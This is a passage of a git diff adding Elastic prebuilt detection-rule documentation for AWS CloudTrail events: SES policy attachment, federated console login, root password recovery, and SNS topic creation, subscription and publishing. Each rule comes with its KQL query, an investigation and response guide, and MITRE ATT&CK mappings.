anomalous or first-time activity over recurring automation. + + +*Possible investigation steps* + + +- Identify the caller in `aws.cloudtrail.user_identity.arn` and `user.name`. Determine whether the caller is a legitimate administrator or an anomalous identity. +- Identify the target IAM entity in `user.target.name` and `aws.cloudtrail.flattened.request_parameters.userName` (or `groupName` or `roleName`). Is this a known email automation account, or an entity created recently? +- Query CloudTrail for all SES API calls (`event.provider: ses.amazonaws.com`) from the target entity in the time window after this attachment. Look for `SendEmail`, `SendRawEmail`, `VerifyEmailIdentity`, `SetIdentityMailFromDomain`, or `UpdateAccountSendingEnabled`. +- Review whether the attachment corresponds to a legitimate change management process. Check for a corresponding IAM change window ticket. +- Verify whether SES sending is enabled for the account (`ses:GetAccountSendingEnabled`) and whether there are existing or recently created SES identities. + + +*False positive analysis* + + +- Legitimate email automation services (transactional email, notification services) may attach AmazonSESFullAccess. Confirm the target entity is a known service role. +- CI/CD pipelines that manage email notification infrastructure may attach this policy. Validate via pipeline execution logs and source IP. + + +*Response and remediation* + + +- If unauthorized, immediately detach AmazonSESFullAccess from the target entity and review all SES calls made under that identity. +- Review SES account sending status and disable sending if any unauthorized email was sent. +- Check SES suppression list for any unauthorized modifications (attackers may add or remove entries to influence deliverability). +- Rotate all credentials associated with both the calling identity and the target entity. +- Enable SES event publishing to review any emails sent during the unauthorized period. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. No additional data event selectors are required — `iam:AttachUserPolicy`, `iam:AttachRolePolicy`, and `iam:AttachGroupPolicy` are management-plane APIs logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: ("AttachUserPolicy" or "AttachRolePolicy" or "AttachGroupPolicy") + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.policyArn: "arn:aws:iam::aws:policy/AmazonSESFullAccess" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sign-in-console-login-with-federated-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sign-in-console-login-with-federated-user.asciidoc new file mode 100644 index 0000000000..0d1ea257e6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sign-in-console-login-with-federated-user.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-aws-sign-in-console-login-with-federated-user]] +=== AWS Sign-In Console Login with Federated User + +Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related "GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can be triaged with lower severity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ + +*Tags*: + +* Domain: Cloud +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sign-In Console Login with Federated User* + + +Federated users in AWS are granted temporary credentials to access resources, often without the need for a permanent account. This setup is convenient but can be risky if not properly secured with multi-factor authentication (MFA). Adversaries might exploit this by using stolen or misconfigured credentials to gain unauthorized access. CloudTrail alone cannot reliably indicate MFA usage for federated logins. This rule surfaces potentially risky access for analyst review and IdP correlation. + + +*Possible investigation steps* + + +- **Identify the prinicipal involved** + - `aws.cloudtrail.user_identity.arn` (federated session ARN) + - `aws.cloudtrail.user_identity.session_context.session_issuer.*` (role ARN/name, account) of the identity that created the federated session. + - Find the corresponding IdP login around the same time and verify MFA was required and passed. If IdP shows **no MFA**, raise severity. + +- **Investigate the source context** + - examine `source.ip`, ASN, `geo` fields, and `user_agent.original` + - Compare against normal IP ranges, known user-agents and expected locations for this identity + +- **Federation token pivot:** Look for a nearby `signin.amazonaws.com` `GetSigninToken` API call. + - **More suspicious:** token creation and console login from different public IPs/ASNs/geo fields. + - **Less suspicious:** same IP and expected user agents within ~10–15 minutes (typical operator behavior). + +- **Rareness/anomaly signals:** new/rare role or session issuer, rare source IP/ASN/geo, unusual time-of-day, multiple ConsoleLogin events from disparate networks in a short window. + +- Review recent activity associated with the federated user to identify any unusual or unauthorized actions that may have occurred following the login event. + +- Assess the configuration and policies of the Identity Provider (IdP) used for federated access to ensure MFA is enforced and properly configured for all users. + + + +*False positive analysis* + +- Organizations using SSO for console access will routinely see federated `ConsoleLogin` where CloudTrail shows `MFAUsed: "No"` — this is expected due to IdP-side MFA. +- Internal tools/automation that create federation links (`GetSigninToken`) for operators. +- Maintain allow-lists for corp/VPN CIDRs, approved ASNs, and known automation user-agents. + + +*Response and remediation* + +- If IdP confirms MFA and the source context is expected: document and close. +- If IdP shows no MFA or context is suspicious: + - Notify the security team and relevant stakeholders about the potential security breach to ensure coordinated response efforts. + - Disable/lock the IdP account pending review; invalidate IdP sessions if supported. + - Temporarily restrict access (e.g., SCPs, session policies, IP-based conditions). + - Conduct a thorough review of AWS CloudTrail logs to identify any suspicious activities or unauthorized access attempts associated with both the intitiating user and the federated user account. + - Hunt for a preceding `GetSigninToken` from a different IP/ASN/UA (possible token relay). + - Ensure IdP policy enforces MFA for AWS app access; re-verify role trust and least-privilege policies. +- Implement or enforce multi-factor authentication (MFA) for all federated user accounts to enhance security and prevent similar incidents in the future. +- Review and update IAM policies and roles associated with federated users to ensure they follow the principle of least privilege. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "signin.amazonaws.com" and + event.action : "ConsoleLogin" and + aws.cloudtrail.user_identity.type: "FederatedUser" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sign-in-root-password-recovery-requested.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sign-in-root-password-recovery-requested.asciidoc new file mode 100644 index 0000000000..f703b5c75e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sign-in-root-password-recovery-requested.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-aws-sign-in-root-password-recovery-requested]] +=== AWS Sign-In Root Password Recovery Requested + +Identifies a password recovery request for the AWS account root user. In AWS, the PasswordRecoveryRequested event from signin.amazonaws.com applies to the root user’s “Forgot your password?” flow. Other identity types, like IAM and federated users, do not generate this event. This alert indicates that someone initiated the root password reset workflow for this account. Verify whether this was an expected action and review identity provider notifications/email to confirm legitimacy. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://web.archive.org/web/20230930161727/https://www.cadosecurity.com/an-ongoing-aws-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sign-In Root Password Recovery Requested* + + +In AWS, a `PasswordRecoveryRequested` event from `signin.amazonaws.com` is only generated for the root user during the “Forgot your password?” workflow. Other identity types (IAM or federated users) do not trigger this event. A root password recovery request is a critical identity security event that could indicate a legitimate recovery by the account owner or a malicious attempt to gain full administrative access. + + +*Possible investigation steps* + + +- **Verify the event details.** + Review the alert fields (`source.ip`, `user_agent.original`, `cloud.region`, and `@timestamp`) to confirm when and from where the request originated. + +- **Confirm legitimacy.** + Contact the account owner or credential custodian to verify whether they initiated the password recovery. + AWS will also send an email notification to the root account email address, check whether the owner received and acknowledged this. + +- **Check CloudTrail for related events.** + Search for any subsequent `ConsoleLogin` events for the root user, or IAM changes (for example, `CreateAccessKey`, `CreateUser`, or `AttachUserPolicy`) shortly after the recovery request. + +- **Assess IP reputation and location.** + Validate whether the `source.ip` aligns with known admin networks or expected geographies. + Suspicious indicators include foreign IPs, anonymization services, or unfamiliar user agents. + +- **Correlate with other alerts.** + Review other AWS security detections (for example, root logins, MFA disablement, or IAM policy changes) around the same timeframe. + + +*False positive analysis* + + +- **Expected maintenance activity.** + If the root account owner confirms that the password reset was intentional (for example, for account recovery or planned credential rotation), the alert may be safely dismissed. +- **Testing or account verification.** + Security or compliance teams occasionally test password recovery flows. Confirm via ticketing or planned maintenance documentation. + + +*Response and remediation* + + +**Immediate actions** +- **If confirmed legitimate:** + - Ensure that MFA is enabled and operational for the root account. + - Encourage rotation of the root password if not recently updated. +- **If unconfirmed or suspicious:** + - Immediately reset the root password using the legitimate AWS recovery email link. + - Review the AWS account’s email for password-recovery notifications and secure that inbox (change its password, enable MFA). + - Check for new successful root logins or unexpected IAM changes since the recovery attempt. + +**Evidence preservation** +- Export the `PasswordRecoveryRequested` event from CloudTrail (±30 minutes). +- Preserve all `signin.amazonaws.com` and root `ConsoleLogin` events for the next 24 hours. +- Store this evidence in a restricted S3 bucket with Object Lock enabled. + +**Scoping and investigation** +- Review all root-level activities within the past 24–48 hours. + Focus on administrative actions such as `CreateAccessKey`, `UpdateAccountPasswordPolicy`, or `DisableMFA`. +- Correlate with GuardDuty findings and AWS Config change history for any unauthorized modifications. + +**Recovery and hardening** +- Confirm MFA is enforced on the root account. +- Rotate all root credentials and ensure no access keys exist for the root user (root keys should never be active). +- Secure the associated email account (password reset notifications are sent there). +- Enable Cloudtrail, GuardDuty, Security Hub, and AWS Config across all regions. +- Review account recovery procedures to ensure multiple custodians are aware of the legitimate process. + + +*Additional information* + + +- **AWS Incident Response Playbooks:** + and https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-CredCompromise.md[`IRP-Credential-Compromise.md`] for procedures related to root account credential recovery and unauthorized access attempts. +- **AWS Customer Playbook Framework:** + See https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Compromised_IAM_Credentials.md[`Compromised_IAM_Credentials.md`] for guidance on containment, evidence collection, and recovery validation. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/root-user-best-practices.html[AWS account root user best practices]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:PasswordRecoveryRequested and +event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-rare-protocol-subscription-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-rare-protocol-subscription-by-user.asciidoc new file mode 100644 index 0000000000..3659883244 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-rare-protocol-subscription-by-user.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-aws-sns-rare-protocol-subscription-by-user]] +=== AWS SNS Rare Protocol Subscription by User + +Identifies when a user subscribes to an SNS topic using a new protocol type (ie. email, http, lambda, etc.). SNS allows users to subscribe to recieve topic messages across a broad range of protocols like email, sms, lambda functions, http endpoints, and applications. Adversaries may subscribe to an SNS topic to collect sensitive information or exfiltrate data via an external email address, cross-account AWS service or other means. This rule identifies a new protocol subscription method for a particular user. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_Subscribe.html +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SNS +* Tactic: Collection +* Tactic: Exfiltration +* Tactic: Impact +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SNS Rare Protocol Subscription by User* + + +This rule identifies when an SNS topic is subscribed to by a rare protocol for a particular user. While subscribing to SNS topics is a common practice, adversaries may exploit this feature to collect sensitive information or exfiltrate data via an external email address, mobile number, or cross-account AWS service like Lambda. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed using a protocol for the first time. + + +*Possible Investigation Steps* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the subscription. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- **Review the SNS Subscription Event**: Analyze the specifics of the `Subscribe` action in CloudTrail logs: + - **Topic**: Look at the `aws.cloudtrail.request_parameters` field to identify the SNS topic involved in the subscription. + - **Protocol and Endpoint**: Review the `aws.cloudtrail.request_parameters` field to confirm the subscription's protocol and endpoint, if available. Confirm if this endpoint is associated with a known or trusted entity. + - **Subscription Status**: Check the `aws.cloudtrail.response_elements` field for the subscription's current status, noting if it requires confirmation. +- **Verify Authorization**: Evaluate whether the user typically engages in SNS subscription actions and if they are authorized to do so for the specified topic. +- **Contextualize with Related Events**: Review related CloudTrail logs around the event time for other actions by the same user or IP address. Look for activities involving other AWS services, such as S3 or IAM, that may indicate further suspicious behavior. +- **Check for Publish Actions**: Investigate for any subsequent `Publish` actions on the same SNS topic that may indicate exfiltration attempts or data leakage. If Publish actions are detected, further investigate the contents of the messages. +- **Review IAM Policies**: Examine the user or role's IAM policies to ensure that the subscription action is within the scope of their permissions or should be. + + +*False Positive Analysis* + + +- **Historical User Actions**: Verify if the user has a history of performing similar actions on SNS topics. Consistent, repetitive actions may suggest legitimate usage. +- **Scheduled or Automated Tasks**: Confirm if the subscription action aligns with scheduled tasks or automated notifications authorized by your organization. + + +*Response and Remediation* + + +- **Immediate Review and Reversal**: If the subscription was unauthorized, take appropriate action to cancel it and adjust SNS permissions as necessary. +- **Strengthen Monitoring and Alerts**: Configure monitoring systems to flag similar actions involving sensitive topics or unapproved endpoints. +- **Policy Review**: Review and update policies related to SNS subscriptions and access, tightening control as needed to prevent unauthorized subscriptions. +- **Incident Response**: If there is evidence of malicious intent, treat the event as a potential data exfiltration incident and follow incident response protocols, including further investigation, containment, and recovery. + + +*Additional Information* + + +For further guidance on managing and securing SNS topics in AWS environments, refer to the https://docs.aws.amazon.com/sns/latest/dg/welcome.html[AWS SNS documentation] and AWS best practices for security. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sns.amazonaws.com" + and event.action: "Subscribe" + and event.outcome: "success" + and not user_agent.original: (*Terraform*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: One-Way Communication +** ID: T1102.003 +** Reference URL: https://attack.mitre.org/techniques/T1102/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-topic-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-topic-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..9755bb9c09 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-topic-created-by-rare-user.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-aws-sns-topic-created-by-rare-user]] +=== AWS SNS Topic Created by Rare User + +Identifies when an SNS topic is created by a user who does not typically perform this action. Adversaries may create SNS topics to stage capabilities for data exfiltration or other malicious activities. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_CreateTopic.html +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SNS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Resource Development +* Tactic: Impact +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SNS + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS SNS Topic Created by Rare User* + + +This rule detects the creation of an AWS Simple Notification Service (SNS) topic by a user who does not typically perform this action. Adversaries may create SNS topics to facilitate data exfiltration or other malicious activities. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time by a user or role. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Examine `aws.cloudtrail.user_identity.arn` to determine **who** created the SNS topic. + - Identify whether the actor assumed a privileged IAM role (`aws.cloudtrail.user_identity.type: "AssumedRole"`) or used a long term access keys (`aws.cloudtrail.user_identity.access_key_id`). + - Check `user_agent.original` to determine if this action was performed via the AWS CLI, SDK, or Console. + - If `aws-cli` was used, review whether it aligns with typical automation or administrative behavior. + - Review `source.ip` and `source.geo` fields to confirm if the request originated from a trusted or unexpected location. + +**Evaluate the SNS topic creation** + - Check `aws.cloudtrail.request_parameters` for the SNS topic name and determine whether it appears suspicious (e.g., random strings, unusual keywords). + - Verify `cloud.region` and `cloud.account.id` to ensure the SNS topic was created in an expected environment. + - Identify additional actions **before or after** this event using `event.action` values like: + - `Subscribe` + - `Publish` + - `SetTopicAttributes` + - These may indicate follow-up steps taken to misuse the SNS topic. + +**Analyze potential malicious intent** + - Check if this user has previously created SNS topics using historical CloudTrail logs. + - Look for multiple topic creations in a short period, which may suggest an automation script or malicious behavior. + - If `aws.cloudtrail.user_identity.arn` references an EC2 instance role, verify whether that instance typically performs SNS operations. + - Review whether new subscriptions were added (`Subscribe` API action) to forward data externally. + - If an SNS topic was configured to trigger Lambda functions or S3 events, it may indicate an attempt to persist in the environment. + + +*False positive analysis* + +- Check whether the SNS topic creation aligns with known DevOps, automation, or monitoring activities. +- If the user typically interacts with SNS, consider allowlisting expected IAM roles for this action. +- Some AWS services may auto-create SNS topics for alerts and monitoring. Confirm whether the creation was system-generated. + + +*Response and remediation* + +- **Confirm Authorization**: + - If the user was not expected to create SNS topics, verify whether their IAM permissions should be restricted. + - If unauthorized, disable the access keys or IAM role associated with the event. +- **Monitor for Further SNS Modifications**: + - Set up additional monitoring for SNS Publish or Subscription events (`Publish`, `Subscribe`). +- **Investigate for Persistence**: + - Check whether the SNS topic is being used as a notification channel for Lambda, S3, or other AWS services. +- **Enhance IAM Policy Controls**: + - Consider enforcing least privilege IAM policies and enabling multi-factor authentication (MFA) where applicable. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sns.amazonaws.com" + and event.action: "CreateTopic" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-topic-message-publish-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-topic-message-publish-by-rare-user.asciidoc new file mode 100644 index 0000000000..34ee4eb0f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sns-topic-message-publish-by-rare-user.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-aws-sns-topic-message-publish-by-rare-user]] +=== AWS SNS Topic Message Publish by Rare User + +Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_Publish.html +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SNS +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Lateral Movement +* Tactic: Exfiltration +* Tactic: Impact +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SNS + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS SNS Topic Message Publish by Rare User* + + +This rule identifies when a message is published to an SNS topic by a user who has rarely or never published messages before. This activity could indicate adversarial actions, such as using SNS topics for phishing campaigns, data exfiltration, or lateral movement within an AWS environment. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time by a user or role. + + +*Possible Investigation Steps* + + +- **Identify the Actor and Resource**: + - **User Identity and Role**: Examine the `aws.cloudtrail.user_identity.arn` to identify the user or role responsible for publishing the SNS message. Verify whether this actor is authorized to publish messages to SNS topics. + - **Access Key Details**: Review the `aws.cloudtrail.user_identity.access_key_id` to determine the access key used. + - **SNS Topic ARN**: Analyze `aws.cloudtrail.resources.arn` to confirm whether the SNS topic is critical, sensitive, or used for authorized purposes. + +- **Evaluate the Context of the SNS Message**: + - **Published Message Details**: AWS redacts the message content in CloudTrail logs, but you can view the message ID, subject, and other metadata. Investigate the message details for any indicators of malicious content. + - **Message Recipients**: Investigate the subscriptions associated with the SNS topic to identify if messages were sent to unauthorized or unexpected recipients. + +- **Analyze Source Information**: + - **Source IP Address**: Examine the `source.ip` field to identify the origin of the activity. Unusual IP addresses or geolocations may indicate unauthorized access. + - **User Agent**: Review `user_agent.original` to determine the tool or client used for publishing the SNS message. Automated tools or unexpected clients (e.g., `Boto3` from an unknown host) may signify misuse. + +- **Review Historical Activity**: + - **Actor’s Past Behavior**: Identify whether the user has published messages to SNS topics before. Review similar past events for context. + - **Frequency and Patterns**: Examine the time and frequency of messages published by the same user or to the same SNS topic to detect anomalies. + +- **Correlate with Other Events**: + - **IAM or CloudTrail Events**: Look for events such as `AssumeRole`, `CreateAccessKey`, or other API actions associated with the same user ARN. + - **Unusual IAM Role Activity**: Determine if the actor has assumed roles or performed administrative tasks atypical for their role. + + +*False Positive Analysis* + + +- **Routine Operational Use**: + - Confirm if the publishing activity aligns with standard operational tasks or automation scripts. + - Validate whether new or rare users were recently granted permissions for publishing messages to SNS topics. + +- **Testing or Monitoring Scripts**: + - Automated testing or monitoring tools may trigger this rule if configured to publish messages to SNS topics. + + +*Response and Remediation* + + +- **Immediate Action**: + - If unauthorized activity is confirmed, disable the access key or IAM role associated with the user. + - Restrict or remove permissions from the SNS topic to prevent further misuse. + +- **Review Policies and Subscriptions**: + - Audit the IAM policies tied to the user and SNS topic to ensure appropriate permissions. + - Validate the subscriptions of the SNS topic to confirm all endpoints are authorized. + +- **Enhance Monitoring and Alerting**: + - Set up additional logging or alerting for SNS publish actions, especially from rare or unknown users. + - Monitor for similar actions across other SNS topics within the environment. + +- **Conduct a Root Cause Analysis**: + - Investigate how the user or role gained access to publish messages to the SNS topic. + - Determine if other AWS resources or services have been affected. + + +*Additional Information* + + +For more information on SNS topic management and securing AWS resources, refer to: +- https://docs.aws.amazon.com/sns/latest/api/API_Publish.html[AWS SNS Publish API Documentation] +- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html[AWS CloudTrail Documentation] + + +==== Setup + + +AWS SNS topic data event types need to be enabled in the CloudTrail trail configuration to capture the Publish action. Ensure that the AWS CloudTrail service is 